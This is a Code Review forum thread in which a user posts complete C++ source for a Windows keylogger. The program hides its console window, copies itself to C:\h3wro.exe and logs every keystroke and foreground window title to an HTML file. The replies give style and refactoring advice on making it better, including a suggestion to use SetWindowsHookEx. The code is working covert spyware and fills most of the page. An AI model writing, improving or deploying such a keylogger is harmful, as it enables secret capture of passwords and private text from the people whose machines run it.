10
\$\begingroup\$

I am newbie (here and in C/C++ - WinAPI) so I want to ask you, what you think about my Windows Keylogger in C++? I've worked on it a few days.

Features of keylogger for now:

  • Self-copying to C:\ directory
  • Saving keystrokes to an .html file
  • Working in background

My questions:

  • Are names of variables are correct?
  • What can I do to improve getting foreground window (actually not always works)?

h3wroKeylogger.cpp

#include <windows.h>
#include <iostream>
#include <string>
#include <fstream>
#include <ctime>
#include <shlobj.h>

HWND hCurrentWindow;
char sWindowTitle[256];
bool is_capslock = false;
int iBackspaceCounter = 0;

int save(int key)
{
std::ofstream out_file;
out_file.open("logs.html", std::ios_base::app);
std::string sLogs = "";
time_t t = time(0);

if (hCurrentWindow != GetForegroundWindow())
{
    hCurrentWindow = GetForegroundWindow();
    char title[256];
    GetWindowTextA(hCurrentWindow, title, sizeof(title));

    sLogs += "<font size=\"3\"><br><br><b>";
    sLogs += asctime(localtime(&t));
    sLogs += "<br>Window name: ";
    sLogs += title;
    sLogs += "]</b><br></font>";
}

if ((GetAsyncKeyState(VK_CAPITAL) & 0x0001) != 0) {
    is_capslock = true;
}

switch (key) {
case 1:
    return 0;
    break;
case 2:
    return 0;
    break;
    //-----------------------------------------------------------------------
    //End of mouse
    //-----------------------------------------------------------------------
case 96:
    iBackspaceCounter = 0;
    sLogs += "0";
    break;
case 97:
    iBackspaceCounter = 0;
    sLogs += "1";
    break;
case 98:
    iBackspaceCounter = 0;
    sLogs += "2";
    break;
case 99:
    iBackspaceCounter = 0;
    sLogs += "3";
    break;
case 100:
    iBackspaceCounter = 0;
    sLogs += "4";
    break;
case 101:
    iBackspaceCounter = 0;
    sLogs += "5";
    break;
case 102:
    iBackspaceCounter = 0;
    sLogs += "6";
    break;
case 103:
    iBackspaceCounter = 0;
    sLogs += "7";
    break;
case 104:
    iBackspaceCounter = 0;
    sLogs += "8";
    break;
case 105:
    iBackspaceCounter = 0;
    sLogs += "9";
    break;
    //-----------------------------------------------------------------------
    //End of numpad digits
    //-----------------------------------------------------------------------
case 48:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += ")";
    }
    else
        sLogs += "0";
    break;
case 49:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "!";
    }
    else
        sLogs += "1";
    break;
case 50:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "@";
    }
    else
        sLogs += "2";
    break;
case 51:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "#";
    }
    else
        sLogs += "3";
    break;
case 52:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "$";
    }
    else
        sLogs += "4";
    break;
case 53:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "%";
    }
    else
        sLogs += "5";
    break;
case 54:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "^";
    }
    else
        sLogs += "6";
    break;
case 55:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "&";
    }
    else
        sLogs += "7";
    break;
case 56:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "*";
    }
    else
        sLogs += "8";
    break;
case 57:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "(";
    }
    else
        sLogs += "9";
    break;
    //-----------------------------------------------------------------------
    //End of digits
    //-----------------------------------------------------------------------
case 65:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        if (GetAsyncKeyState(VK_MENU)) {
            sLogs += "&#260";
        }
        else
            sLogs += "A";
    }
    else {
        if (GetAsyncKeyState(VK_MENU)) {
            sLogs += "&#261";
        }
        else
            sLogs += "a";
    }
    break;
case 66:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "B";
    }
    else
        sLogs += "b";
    break;
case 67:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        if (GetAsyncKeyState(VK_MENU)) {
            sLogs += "&#262";
        }
        else {
            sLogs += "C";
        }
    }
    else {
        if (GetAsyncKeyState(VK_MENU)) {
            sLogs += "&#263";
        }
        else {
            sLogs += "c";
        }
    }
    break;
case 68:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "D";
    }
    else
        sLogs += "d";
    break;
case 69:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        if (GetAsyncKeyState(VK_MENU)) {
            sLogs += "&#280";
        }
        else {
            sLogs += "E";
        }
    }
    else {
        if (GetAsyncKeyState(VK_MENU)) {
            sLogs += "&#281";
        }
        else {
            sLogs += "e";
        }
    }
    break;
case 70:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "F";
    }
    else
        sLogs += "f";
    break;
case 71:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "G";
    }
    else
        sLogs += "g";
    break;
case 72:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "H";
    }
    else
        sLogs += "h";
    break;
case 73:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "I";
    }
    else
        sLogs += "i";
    break;
case 74:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "J";
    }
    else
        sLogs += "j";
    break;
case 75:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "K";
    }
    else
        sLogs += "k";
    break;
case 76:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        if (GetAsyncKeyState(VK_MENU)) {
            sLogs += "&#321";
        }
        else {
            sLogs += "L";
        }
    }
    else {
        if (GetAsyncKeyState(VK_MENU)) {
            sLogs += "&322";
        }
        else {
            sLogs += "l";
        }
    }
    break;
case 77:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "M";
    }
    else
        sLogs += "m";
    break;
case 78:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        if (GetAsyncKeyState(VK_MENU)) {
            sLogs += "&#323";
        }
        else {
            sLogs += "N";
        }
        break;
    }
    else {
        if (GetAsyncKeyState(VK_MENU)) {
            sLogs += "&#324";
        }
        else {
            sLogs += "n";
        }
    }
    break;
case 79:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        if (GetAsyncKeyState(VK_MENU)) {
            sLogs += "&#211";
        }
        else {
            sLogs += "O";
        }
        break;
    }
    else {
        if (GetAsyncKeyState(VK_MENU)) {
            sLogs += "&#243";
        }
        else {
            sLogs += "o";
        }
    }
    break;
case 80:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "P";
        break;
    }
    else
        sLogs += "p";
    break;
case 81:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "Q";
        break;
    }
    else
        sLogs += "q";
    break;
case 82:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "R";
        break;
    }
    else
        sLogs += "r";
    break;
case 83:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        if (GetAsyncKeyState(VK_MENU)) {
            sLogs += "&#346";
        }
        else {
            sLogs += "S";
        }
        break;
    }
    else {
        if (GetAsyncKeyState(VK_MENU)) {
            sLogs += "&#347";
        }
        else {
            sLogs += "s";
        }
    }
    break;
case 84:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "T";
        break;
    }
    else
        sLogs += "t";
    break;
case 85:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "U";
        break;
    }
    else {
        if (GetAsyncKeyState(VK_MENU)) {
            sLogs += "€";
        }
        else {
            sLogs += "u";
        }
    }
    break;
case 86:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "V";
        break;
    }
    else
        sLogs += "v";
    break;
case 87:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "W";
        break;
    }
    else
        sLogs += "w";
    break;
case 88:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        if (GetAsyncKeyState(VK_MENU)) {
            sLogs += "&#377";
        }
        else {
            sLogs += "X";
        }
        break;
    }
    else {
        if (GetAsyncKeyState(VK_MENU)) {
            sLogs += "&#378";
        }
        else {
            sLogs += "x";
        }
    }
    break;
case 89:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "Y";
        break;
    }
    else
        sLogs += "y";
    break;
case 90:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        if (GetAsyncKeyState(VK_MENU)) {
            sLogs += "&#379";
        }
        else {
            sLogs += "Z";
        }
        break;
    }
    else {
        if (GetAsyncKeyState(VK_MENU)) {
            sLogs += "&#380";
        }
        else {
            sLogs += "z";
        }
    }
    //-----------------------------------------------------------------------
    //End of A-Z characters
    //-----------------------------------------------------------------------
case 13:
    iBackspaceCounter = 0;
    sLogs += "\n";
    break;
case 20:
    iBackspaceCounter = 0;
    if (is_capslock == false) {
        is_capslock = true;
        sLogs += "<font size=\"1\">[CapsLock]</font>";
    }
    else {
        is_capslock = false;
        sLogs += "<font size=\"1\">[/CapsLock]</font>";
    }
    break;
case VK_BACK:
    iBackspaceCounter += 1;
    sLogs += "<font size=\"1\">[";
    sLogs += iBackspaceCounter + '0';
    sLogs += "x";
    sLogs += "Backspace]</font>";
    break;
case VK_SPACE:
    iBackspaceCounter = 0;
    sLogs += " ";
    break;
case VK_MULTIPLY:
    iBackspaceCounter = 0;
    sLogs += "*";
    break;
case VK_ADD:
    iBackspaceCounter = 0;
    sLogs += "+";
    break;
case VK_SUBTRACT:
    iBackspaceCounter = 0;
    sLogs += "-";
    break;
case VK_DECIMAL:
    iBackspaceCounter = 0;
    sLogs += ".";
    break;
case VK_DIVIDE:
    iBackspaceCounter = 0;
    sLogs += "/";
    break;
default:
    break;
}

out_file << sLogs;
out_file.close();
return 0;
}

void stealth() {
HWND stealth;
AllocConsole();
stealth = FindWindowA("consoleWindowClass", NULL);
ShowWindow(stealth, 0);
}

using namespace std;
int main(int argc, char * argv[]) {
stealth();

char buffer[MAX_PATH];
::GetModuleFileNameA(NULL, buffer, MAX_PATH);

//It swap / with //
char sPath[MAX_PATH];
int iIndexCounter = 0;
for (int i = 0; i <= MAX_PATH; i++) {
    if (buffer[i] == '\\') {
        sPath[i + iIndexCounter] = '\\';
        iIndexCounter += 1;
        sPath[i + iIndexCounter] = '\\';
        continue;
    }
    sPath[i + iIndexCounter] = buffer[i];
}

char sDocumentsPath[MAX_PATH];
HRESULT result = SHGetFolderPathA(NULL, CSIDL_PERSONAL, NULL, 0, sDocumentsPath);
char sDocumentsPathResult[MAX_PATH];

//It swap / with //
int iIndexCounterDoc = 0;
for (int i = 0; i <= MAX_PATH; i++) {
    if (sDocumentsPath[i] == '\\') {
        sDocumentsPathResult[i + iIndexCounterDoc] = '\\';
        iIndexCounterDoc += 1;
        sDocumentsPathResult[i + iIndexCounterDoc] = '\\';
        continue;
    }
    sDocumentsPathResult[i + iIndexCounterDoc] = sDocumentsPath[i];
}

char sCompleteDocPath[MAX_PATH];
strcpy(sCompleteDocPath, sDocumentsPathResult);
//strcpy(sCompleteDocPath, "\\h3wro.exe");

BOOL b = CopyFileA(sPath, "C:\\h3wro.exe", 0);
if (!b) {
    std::cout << "Error: " << GetLastError() << std::endl;
}
else {
    std::cout << "Okay " << std::endl;
}
char i;
while (1) {
    for (i = 8; i <= 190; i++) {
        if (GetAsyncKeyState(i) == -32767)
            save(i);
    }
}
return 0;
}
\$\endgroup\$
  • 2
    \$\begingroup\$ You are supposing a En-US keyboard layout. In my Spanish-MX keyboard the characters are in different places than what you suppose in your code, so you'll get my logged keystrokes wrong. \$\endgroup\$ – fernando.reyes Jan 26 '17 at 17:41
  • 2
    \$\begingroup\$ Why not use SetWindowsHookEx? While(1) and for (i = 8; i <= 190; i++) looks like really odd. \$\endgroup\$ – David Isla Jan 26 '17 at 18:30
  • 1
    \$\begingroup\$ @david - I appreciate your edit request, but I rejected it - "If there are spacing issues, it's a good point to address in a code review. Since the edit is not by the OP, I rejected it." I think between your suggestion here and the spacing you corrected, you have a decent answer to post. \$\endgroup\$ – Raystafarian Jan 26 '17 at 18:32
  • \$\begingroup\$ @fernando.reyes Really sorry, I forgot about this. \$\endgroup\$ – h3wro Jan 26 '17 at 18:41
7
\$\begingroup\$

A few thoughts:

1. Fix your formatting

Code that appears within a function scope should be indented by another set of spaces (tab):

int save(int key)
{
std::ofstream out_file;
out_file.open("logs.html", std::ios_base::app);
std::string sLogs = "";
// ...
}

=>

int save(int key)
{
    std::ofstream out_file;
    out_file.open("logs.html", std::ios_base::app);
    std::string sLogs = "";
    // ...
}

2. Do not use using namespace std;

While that would work in your particular case, it's considered bad practice. Especially when you move out your code to separate header files.

See more details here please:

Why is “using namespace std;” considered bad practice?

Also, you're prefixing your standard classes in use with std:: anyways.

3. C++ offers classes, use them

Instead of using global variables, encapsulate your stateful data in a class:

 class MyKeyLogger {
     HWND hCurrentWindow;
     char sWindowTitle[256];
     bool is_capslock = false;
     int iBackspaceCounter = 0;

 public:
     int save(int key);
 };

4. Use ofstream efficiently

Opening and closing out_file on every keystroke looks extremely inefficient for me.

With the above mentioned class approach, you could make out_file a member variable, and initialize it once in the constructor:

 class MyKeyLogger {
     // ...
     std::ofstream out_file;

 public:
      MyKeyLogger(std::string logfilename = "logs.html") {
          out_file.open(logfilename , std::ios_base::app);
      }
      // ...
 };

In the save() function, it's enough to call out_file.flush(); to update the file then, instead of closing the stream.

5. Avoid large switch() statements / if() else if() cascades

Such kind of code is hard to read and maintain consistently.

Also I've seen that you're repeating a lot of boiler plate code, for numerous cases, e.g.:

case 66:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "B";
    }
    else
        sLogs += "b";
    break;

// ...
case 68:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
         sLogs += "D";
    }
    else
         sLogs += "d";
    break;

A better approach would be probably to setup a small interface and a set of concrete implementations that handle particular keystrokes uniformely:

struct IKeyStrokeHandler {
    virtual ~IKeyStrokeHandler() {}
    bool handlesKey(int key) const = 0;
    std::string doKeyTranslation(int key) const = 0;
};

// Partial implementation
class AbstractKeyStrokeHandler : public IKeyStrokeHandler {
     class Key;
     std::map<int,Key> handledKeys_;             
protected:
     struct Key {
          string standardRepresentation;
          string shiftRepresentation;
     };
     AbstractKeyStrokeHandler(const std::map<int,Key>& handledKeys) 
     : handledKeys_(handledKeys) {
     }
public:
     bool handlesKey(int key) {
         return (handledKeys_.find(key) != handledKeys_.end());
     }
     // Retrieve the mapped values accordigly
     std::string doKeyTranslation(int key) const {
          if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
              return handledKeys_[key].shiftRepresentation;
          }                  
          return handledKeys_[key].standardRepresentation;
    }             
};

// A concrete implemetation for simple key translations
class SimpleKeyStrokeHandler : public AbstractKeyStrokeHandler {
public:
    SimpleKeyStrokeHandler() : AbstractKeyStrokeHandler(
        std::map{ 
            {66, {"b", "B"},
            {68, {"d", "D"},
        } )
    {}
 };

 // Mouse key handler
 class MouseKeyStrokeHandler : public AbstractKeyStrokeHandler {
 public:
     MouseKeyStrokeHandler () : AbstractKeyStrokeHandler(
         std::map{ 
                   {0, {"", ""},
                   {1, {"", ""},
               } )
     {}
 };

// Special key handler
class SpecialKeyStrokeHandler : public AbstractKeyStrokeHandler {
    int& iBackSpaceCounter_;
public:
    SpecialKeyStrokeHandler(int& iBackSpaceCounter) 
    : AbstractKeyStrokeHandler(
        std::map{ 
                  {96, {"0", "0"},
                  {97, {"1", "1"},
                  // ...
                  {105, {"9", "9"},

              } ),
    , iBackSpaceCounter_(iBackSpaceCounter)
    {}
    std::string doKeyTranslation(int key) const {
        iBackSpaceCounter_ = 0;
        return AbstractKeyStrokeHandler::doKeyTranslation(key);
 };

The various key handler implementations could be used in your key logger class like so:

class MyKeylogger {
    std::vector<std::unique_ptr<IKeyStrokeHandler> keyStrokeHandlers;

    MyKeyLogger() {
        keyStrokeHandlers.push_back(std::make_unique<SimpleKeyStrokeHandler>());
        keyStrokeHandlers.push_back(std::make_unique<MouseKeyStrokeHandler>());
        keyStrokeHandlers.push_back(std::make_unique<SpecialKeyStrokeHandler>(iBackspaceCounter));
    }
int save(int key)
{    
    // ...
    for(const auto& keyStrokeHandler : keyStrokeHandlers) {
        if(keyStrokeHandler->handlesKey(key)) {
            sLogs += keyStrokeHandler->doKeyTranslation(key);
        }
    }

};
\$\endgroup\$
  • \$\begingroup\$ I changed using namespace std to using std::cout and using std::endl. Thank you for answer! \$\endgroup\$ – h3wro Jan 26 '17 at 18:58
  • 1
    \$\begingroup\$ @h3wro I usually don't bother with typing out these 5 more characters (std::). It's more hassle to keep all your using statements consistent all the time than doing so. \$\endgroup\$ – πάντα ῥεῖ Jan 26 '17 at 19:36
  • 2
    \$\begingroup\$ @h3wro I think the most important (but even most complex) part of my answer is 5.. You seriously should consider to refactor that tedious switch()/case: mess. \$\endgroup\$ – πάντα ῥεῖ Jan 26 '17 at 20:33
  • 1
    \$\begingroup\$ @h3wro My proposal was the simplest thing that came to my mind. There will be better design approaches of course. Start thinking OOP and make use of interfaces. \$\endgroup\$ – πάντα ῥεῖ Jan 26 '17 at 20:40
  • 1
    \$\begingroup\$ @h3wro Ah, OK. As mentioned there are several ways to implement that . IMO the Key mapped implementation cries out for the Flyweight Pattern, and certain Key traits instantiated for particular keyboard layouts as mentioned by f@ernando.reyes. \$\endgroup\$ – πάντα ῥεῖ Jan 26 '17 at 21:11

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.